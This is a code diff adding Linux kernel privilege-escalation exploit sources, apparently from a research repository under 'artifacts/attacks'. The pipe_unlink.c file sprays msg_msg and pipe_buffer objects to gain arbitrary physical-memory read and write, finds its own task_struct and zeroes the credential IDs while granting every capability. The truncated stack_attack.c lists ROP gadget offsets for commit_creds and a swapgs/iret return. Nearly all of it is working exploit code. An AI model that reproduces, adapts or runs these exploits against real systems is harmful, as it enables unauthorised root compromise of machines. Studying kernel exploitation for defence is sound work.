|
||||
|
||||
cor_pipe_buffer->len = 8+__MSG_SIZE;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = vmemmap_base;
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 8);
|
||||
if (buffer[1] != 0x41) {
|
||||
printf("[*] *buffer %016zx\n", *(size_t *)buffer);
|
||||
arbrw_fd = i;
|
||||
printf("[+] found pipe_buffer fd for arbrw %4zd\n", arbrw_fd);
|
||||
}
|
||||
}
|
||||
if (arbrw_fd == (size_t)-1) {
|
||||
printf("[!] arbrw_fd not found\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void arbr_phys(size_t paddr, size_t *addr)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
|
||||
|
||||
cor_pipe_buffer->len = 8+__MSG_SIZE;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
read_pipe_no_err(pipes[arbrw_fd][0], (char *)addr, 8);
|
||||
}
|
||||
|
||||
void arbw_phys(size_t paddr, size_t value)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
|
||||
|
||||
cor_pipe_buffer->len = 8+__MSG_SIZE;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
write_pipe_no_err(pipes[arbrw_fd][1], (char *)&value, 8);
|
||||
}
|
||||
|
||||
void stage5(void)
|
||||
{
|
||||
char this_comm[256] = {0};
|
||||
int fd = open("/proc/self/comm", O_RDONLY);
|
||||
int n = read(fd, this_comm, sizeof(this_comm)-1);
|
||||
this_comm[n-1] = 0;
|
||||
unsigned int this_pid = getpid();
|
||||
unsigned int this_gtid = gettid();
|
||||
printf("[*] this process %s [%d,%d]\n", this_comm, this_pid, this_gtid);
|
||||
size_t p_current = 0;
|
||||
for (size_t pa = 0; pa < (32ULL << 30) && p_current == 0; pa += (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER)) {
|
||||
for (size_t _pa = pa; _pa < pa + (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER) && p_current == 0; _pa += TASK_STRUCT_SIZE) {
|
||||
char comm[9] = {0};
|
||||
size_t potential_task_struct_comm = _pa + TASK_STRUCT_COMM_OFFSET;
|
||||
// printf("[*] _pa %016zx\n", _pa);
|
||||
arbr_phys(potential_task_struct_comm, (size_t *)comm);
|
||||
if (!strncmp(comm, this_comm, 8)) {
|
||||
size_t tmp;
|
||||
|
||||
unsigned int pid;
|
||||
size_t potential_task_struct_pid = _pa + TASK_STRUCT_PID_OFFSET;
|
||||
arbr_phys(potential_task_struct_pid, (size_t *)&tmp);
|
||||
pid = (unsigned int)tmp;
|
||||
|
||||
unsigned int gtid;
|
||||
size_t potential_task_struct_tgid = _pa + TASK_STRUCT_TGID_OFFSET;
|
||||
arbr_phys(potential_task_struct_tgid, (size_t *)&tmp);
|
||||
gtid = (unsigned int)tmp;
|
||||
if (pid != this_pid || gtid != this_gtid) {
|
||||
// printf("[*] same comm %s but different [%d,%d] != [%d,%d]\n", comm, pid, gtid, this_pid, this_gtid);
|
||||
continue;
|
||||
}
|
||||
|
||||
p_current = _pa;
|
||||
printf("[+] found %s [%d,%d] at %016zx\n", comm, pid, gtid, p_current+dpm_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
size_t cred;
|
||||
arbr_phys(p_current+TASK_STRUCT_CRED_OFFSET, (size_t *)&cred);
|
||||
printf("[+] found cred %016zx\n", cred);
|
||||
size_t p_cred = cred-dpm_base;
|
||||
arbw_phys(p_cred+CRED_UID_GID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_SUID_SGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_EUID_EGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_FSUID_FSGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_CAP_INHERITABLE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_PERMITTED_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_EFFECTIVE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_BSET_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_AMBIENT_OFFSET, -1);
|
||||
|
||||
if (getuid() == 0 && getgid() == 0)
|
||||
printf("[+] success: uid %d gid %d\n", getuid(), getgid());
|
||||
else
|
||||
printf("[!] no success\n");
|
||||
// int ret = system("/bin/sh");
|
||||
// if (ret < 0) {
|
||||
// perror("system");
|
||||
// exit(-1);
|
||||
// }
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
set_limit();
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
lkm_init();
|
||||
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
421
artifacts/attacks/pipe_unlink.c
Normal file
421
artifacts/attacks/pipe_unlink.c
Normal file
|
@ -0,0 +1,421 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0
|
||||
|
||||
#define RESTORE
|
||||
// #define DEBUG
|
||||
|
||||
#define TASK_STRUCT_SLAB_ORDER 3
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
#define TASK_STRUCT_COMM_OFFSET 3008
|
||||
#define TASK_STRUCT_PID_OFFSET 2464
|
||||
#define TASK_STRUCT_TGID_OFFSET 2468
|
||||
#define TASK_STRUCT_REAL_CRED_OFFSET 2984
|
||||
#define TASK_STRUCT_CRED_OFFSET 2992
|
||||
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_CAP_INHERITABLE_OFFSET 48
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
|
||||
#define PAGE_SIZE (1<<12)
|
||||
|
||||
#define MSG_SPRAYS (1<<10)
|
||||
#define MSG_FREE (MSG_SPRAYS*3/4)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define __MSG_SIZE 1024
|
||||
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
|
||||
|
||||
#define PIPE_SPRAY (1<<6)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 16
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
|
||||
size_t vmemmap_base;
|
||||
size_t dpm_base;
|
||||
size_t code_base;
|
||||
|
||||
size_t msg_msg;
|
||||
|
||||
char buffer[0x1000];
|
||||
char page_content[sizeof(buffer)];
|
||||
char page_content_org[sizeof(buffer)];
|
||||
|
||||
int pipes[PIPE_SPRAY][2];
|
||||
|
||||
void cleanup(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i) {
|
||||
cleanup_queue(qids[i]);
|
||||
}
|
||||
}
|
||||
|
||||
size_t pipe_buffer;
|
||||
void stage1(void)
|
||||
{
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
|
||||
for (ssize_t i = -32; i < 31; ++i)
|
||||
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = msg_msg & ~0xfff;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] msg_msg:\n");
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(msg_msg+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t adjacent_pipe_buffer;
|
||||
size_t vmemmap_pipe_buffer;
|
||||
#ifdef RESTORE
|
||||
size_t old_deref_pipe_buffer;
|
||||
size_t old_deref_vmemmap_pipe_buffer;
|
||||
void save_pipe_buffer_state(void)
|
||||
{
|
||||
lkm_read(pipe_buffer, (size_t)&old_deref_pipe_buffer);
|
||||
lkm_read(vmemmap_pipe_buffer+8, (size_t)&old_deref_vmemmap_pipe_buffer);
|
||||
printf("[*] temporarily store *pipe_buffer %016zx\n", old_deref_pipe_buffer);
|
||||
printf("[*] temporarily store *vmemmap_pipe_buffer %016zx\n", old_deref_vmemmap_pipe_buffer);
|
||||
}
|
||||
void restore_pipe_buffer_state(void)
|
||||
{
|
||||
printf("[*] restore store *pipe_buffer\n");
|
||||
printf("[*] restore store *vmemmap_pipe_buffer\n");
|
||||
lkm_write(pipe_buffer, old_deref_pipe_buffer);
|
||||
lkm_write(vmemmap_pipe_buffer+8, old_deref_vmemmap_pipe_buffer);
|
||||
}
|
||||
#else
|
||||
void save_pipe_buffer_state(void) {}
|
||||
void restore_pipe_buffer_state(void) {}
|
||||
#endif
|
||||
|
||||
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void stage2(void)
|
||||
{
|
||||
vmemmap_pipe_buffer = DPM_TO_VMEMMAP(pipe_buffer);
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pipe_buffer);
|
||||
save_pipe_buffer_state();
|
||||
|
||||
// *(next + 8) = prev
|
||||
// *prev = next
|
||||
lkm_write(pipe_buffer, vmemmap_pipe_buffer);
|
||||
lkm_write(vmemmap_pipe_buffer+8, pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
|
||||
void fix_pipe_page_content(char *pipe_page)
|
||||
{
|
||||
for (size_t i = 0; i < PAGE_SIZE; i += 8) {
|
||||
if (IS_VMEMMAP(*(size_t *)(pipe_page + i))) {
|
||||
if (i % 1024 == 0) {
|
||||
*(size_t *)(pipe_page + i + 0x08) = 0x0000100000000000;
|
||||
*(size_t *)(pipe_page + i + 0x10) = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
} else {
|
||||
*(size_t *)(pipe_page + i + 0x08) = 0x0000000000001000;
|
||||
*(size_t *)(pipe_page + i + 0x10) = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
size_t page_fd = -1;
|
||||
void stage3(void)
|
||||
{
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n", *(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
#define PIPE_OFFSET (__MSG_SIZE+PIPE_SIZE-8)
|
||||
size_t arbrw_fd = -1;
|
||||
struct pipe_buffer {
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
};
|
||||
void stage4(void)
|
||||
{
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE*2; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
printf("[*] next pipe_buffer:\n");
|
||||
for (size_t i = 1024; i < 1024+PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024);
|
||||
|
||||
cor_pipe_buffer->len = 8;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = vmemmap_base;
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE*2; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
printf("[*] next pipe_buffer:\n");
|
||||
for (size_t i = 1024; i < 1024+PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 8);
|
||||
if (buffer[1] != 0x41) {
|
||||
printf("[*] *buffer %016zx\n", *(size_t *)buffer);
|
||||
arbrw_fd = i;
|
||||
printf("[+] found pipe_buffer fd for arbrw %4zd\n", arbrw_fd);
|
||||
}
|
||||
}
|
||||
if (arbrw_fd == (size_t)-1) {
|
||||
printf("[!] arbrw_fd not found\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void arbr_phys(size_t paddr, size_t *addr)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024);
|
||||
|
||||
cor_pipe_buffer->len = 8;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
read_pipe_no_err(pipes[arbrw_fd][0], (char *)addr, 8);
|
||||
}
|
||||
|
||||
void arbw_phys(size_t paddr, size_t value)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024);
|
||||
|
||||
cor_pipe_buffer->len = 8;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
write_pipe_no_err(pipes[arbrw_fd][1], (char *)&value, 8);
|
||||
}
|
||||
|
||||
void stage5(void)
|
||||
{
|
||||
char this_comm[256] = {0};
|
||||
int fd = open("/proc/self/comm", O_RDONLY);
|
||||
int n = read(fd, this_comm, sizeof(this_comm)-1);
|
||||
this_comm[n-1] = 0;
|
||||
unsigned int this_pid = getpid();
|
||||
unsigned int this_gtid = gettid();
|
||||
printf("[*] this process %s [%d,%d]\n", this_comm, this_pid, this_gtid);
|
||||
size_t p_current = 0;
|
||||
for (size_t pa = 0; pa < (32ULL << 30) && p_current == 0; pa += (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER)) {
|
||||
for (size_t _pa = pa; _pa < pa + (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER) && p_current == 0; _pa += TASK_STRUCT_SIZE) {
|
||||
char comm[9] = {0};
|
||||
size_t potential_task_struct_comm = _pa + TASK_STRUCT_COMM_OFFSET;
|
||||
// printf("[*] _pa %016zx\n", _pa);
|
||||
arbr_phys(potential_task_struct_comm, (size_t *)comm);
|
||||
if (!strncmp(comm, this_comm, 8)) {
|
||||
size_t tmp;
|
||||
|
||||
unsigned int pid;
|
||||
size_t potential_task_struct_pid = _pa + TASK_STRUCT_PID_OFFSET;
|
||||
arbr_phys(potential_task_struct_pid, (size_t *)&tmp);
|
||||
pid = (unsigned int)tmp;
|
||||
|
||||
unsigned int gtid;
|
||||
size_t potential_task_struct_tgid = _pa + TASK_STRUCT_TGID_OFFSET;
|
||||
arbr_phys(potential_task_struct_tgid, (size_t *)&tmp);
|
||||
gtid = (unsigned int)tmp;
|
||||
if (pid != this_pid || gtid != this_gtid) {
|
||||
// printf("[*] same comm %s but different [%d,%d] != [%d,%d]\n", comm, pid, gtid, this_pid, this_gtid);
|
||||
continue;
|
||||
}
|
||||
|
||||
p_current = _pa;
|
||||
printf("[+] found %s [%d,%d] at %016zx\n", comm, pid, gtid, p_current+dpm_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
size_t cred;
|
||||
arbr_phys(p_current+TASK_STRUCT_CRED_OFFSET, (size_t *)&cred);
|
||||
printf("[+] found cred %016zx\n", cred);
|
||||
size_t p_cred = cred-dpm_base;
|
||||
arbw_phys(p_cred+CRED_UID_GID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_SUID_SGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_EUID_EGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_FSUID_FSGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_CAP_INHERITABLE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_PERMITTED_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_EFFECTIVE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_BSET_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_AMBIENT_OFFSET, -1);
|
||||
|
||||
if (getuid() == 0 && getgid() == 0)
|
||||
printf("[+] success: uid %d gid %d\n", getuid(), getgid());
|
||||
else
|
||||
printf("[!] no success\n");
|
||||
// int ret = system("/bin/sh");
|
||||
// if (ret < 0) {
|
||||
// perror("system");
|
||||
// exit(-1);
|
||||
// }
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
lkm_init();
|
||||
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
restore_pipe_buffer_state();
|
||||
cleanup();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
210
artifacts/attacks/stack_attack.c
Normal file
210
artifacts/attacks/stack_attack.c
Normal file
|
@ -0,0 +1,210 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_SIZE (4096 - MSG_HEADER)
|
||||
#define MSG_TEXT_OFFSET 2048
|
||||
|
||||
#define SPRAY_THREADS 128
|
||||
#define RECLAIM_STACK_THREADS 256
|
||||
|
||||
#define STACK_SZ (4<<12)
|
||||
#define NEXT_STACK 16*STACK_SZ
|
||||
|
||||
// 0xffffffff818326ea: add rsp, 0x30; pop rbp; ret;
|
||||
#define ADD_RSP_0X38_RET_OFFSET 0x8326ea
|
||||
// 0xffffffff8184c11f: push rax; pop rbp; ret;
|
||||
#define PUSH_RAX_POP_RBP_RET_OFFSET 0x84c11f
|
||||
// 0xffffffff810e324c: mov rsp, rbp; pop rbp; ret;
|
||||
#define MOV_RSP_RBP_POP_RET_OFFSET 0xe324c
|
||||
// 0xffffffff810e32f0: pop rdi; ret;
|
||||
#define POP_RDI_RET_OFFSET 0xe32f0
|
||||
// 0xffffffff81608764: xchg rdi, rax; ret;
|
||||
#define XCHG_RDI_RAX_RET_OFFSET 0x608764
|
||||
|
||||
#define SWAPGS_POP_RET_OFFSET 0x140136c
|
||||
#define IRET_OFFSET 0x140183d
|
||||
#define FIND_TASK_BY_VPID_OFFSET 0x133020
|
||||
#define PREPARE_KERNEL_CRED_OFFSET 0x140d00
|
||||
#define COMMIT_CREDS_OFFSET 0x140780
|
||||
#define INIT_TASK_OFFSET 0x240fcc0
|
||||
#define INIT_CRED_OFFSET 0x2490220
|
||||
|
||||
size_t _text;
|
||||
size_t stack;
|
||||
size_t msg_msg;
|
||||
enum state
|
||||
{
|
||||
DO_LEAK,
|
||||
STACK_LEAKED,
|
||||
} state;
|
||||
|
||||
size_t user_cs;
|
||||
size_t user_ss;
|
||||
size_t user_sp;
|
||||
size_t user_rflags;
|
||||
void save_state(void)
|
||||
{
|
||||
__asm__ (
|
||||
".intel_syntax noprefix;"
|
||||
"mov user_cs, cs;"
|
||||
"mov user_ss, ss;"
|
||||
"mov user_sp, rsp;"
|
||||
"pushf;"
|
||||
"pop user_rflags;"
|
||||
".att_syntax;"
|
||||
);
|
||||
puts("[*] Saved state");
|
||||
}
|
||||
|
||||
void *leak_task(void *)
|
||||
{
|
||||
pin_to_core(1);
|
||||
lkm_stack_leak((size_t)&stack);
|
||||
stack += NEXT_STACK;
|
||||
printf("[+] leaked stack %016zx\n", stack);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *spray_task(void *)
|
||||
{
|
||||
pin_to_core(2);
|
||||
sleep(-1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int empty_function(void *)
|
||||
{
|
||||
// pin_to_core(3);
|
||||
// sleep(-1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void shell(void)
|
||||
{
|
||||
// register size_t rax asm("rax");
|
||||
// printf("[*] rax %016zx\n", rax);
|
||||
printf("[+] uid %d gid %d\n", getuid(), getgid());
|
||||
